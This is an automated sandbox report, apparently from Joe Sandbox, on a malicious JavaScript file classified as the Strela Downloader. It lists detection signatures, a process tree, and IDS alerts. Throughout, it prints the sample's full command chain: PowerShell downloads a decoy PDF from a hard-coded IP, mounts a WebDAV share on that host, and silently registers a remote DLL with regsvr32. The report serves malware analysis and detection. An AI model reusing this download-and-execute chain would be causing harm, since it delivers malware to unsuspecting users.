Edit tour

Windows Analysis Report
1709323591581122310.js

Overview

General Information

Sample name:	1709323591581122310.js
Analysis ID:	1588519
MD5:	7f11699f1a95f7e8fab92173639ba662
SHA1:	1dabb73e09f6a7a206bfd7799480f1453e138b74
SHA256:	e6f0c5b6d981b07531f8fbbe1e6b8ae82d04a19e8a3153a3a1e19a06263c29ea
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7084 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6648 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,16611410969298503030,8490314191894734687,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5264 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6520 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3568 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6648, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6648, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ProcessId: 5268, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6520, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ProcessId: 5268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6648, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5264, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6520, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3568, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5264, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6520, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll, ProcessId: 7084, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:00:28.588247+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:00:30.940110+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:00:28.588247+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1709323591581122310.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1709323591581122310.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:00:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
